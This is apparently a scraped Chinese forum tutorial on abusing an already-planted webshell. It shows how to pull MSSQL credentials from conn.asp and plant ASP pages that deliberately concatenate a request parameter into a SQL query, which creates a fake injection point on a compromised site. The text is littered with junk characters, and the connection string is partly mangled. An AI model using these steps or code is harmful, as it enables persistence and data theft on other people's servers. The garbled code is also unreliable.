首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
1 d6 s" B( x2 A' H+ l, ^4 nASP/Visual Basic代码
9 X% {! H4 Q" b- I r6 L+ `<!--#include file="xx.asp"-->
7 q( x, x2 u3 V; N4 U& ?2 C. C<%
! g, N7 h! }) a- mset rs=server.createobject("ADODB.recordset") 0 J5 Q" x6 ]4 F0 m6 m
id = request("id") % f' Q7 h/ @: a
strSQL = "select * from admin where id=" & id
5 ]/ [, Q# o# s2 L1 ~) A2 Yrs.open strSQL,conn,1,3 / V' a1 E3 d. E0 f3 y6 N' o; [
rs.close 6 ]* ?# V7 z* |3 J7 q! J
%>
; B3 N( X# c/ T+ k, f$ P& ^把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
3 F5 {$ T& ?6 |然后就要构造一个连接数据库的文件了,代码如下:, O( N. ^% D% N3 j1 c" n! Z0 ~9 `
ASP/Visual Basic代码/ }# {( n: ~$ r$ f9 v
<%
: o! O) Z1 l5 GstrSQLServerName = "000.000.000.000" '服务器名称或地址 + K1 P5 e/ r2 O+ H. ~, u' {6 S1 @
strSQLDBUserName = "sqlname" '数据库帐号
3 D/ C% I3 b8 gstrSQLDBPassword = "sqlpass" '数据库密码
. _ j; V: n, _' C9 ^strSQLDBName = "sqldataname" '数据库名称
" o* z9 o' A. c; K# @Set conn = Server.CreateObject("ADODB.Connection")
& \% O3 J3 T% M9 q4 [9 {strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";" ) a* m1 ?+ \. X
conn.open strCon
6 l9 |( n5 K9 o: _& h%>
, j) [: T# S% T/ Y* q1 J d0 D这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功( |+ [( V/ F# Y# a, k
|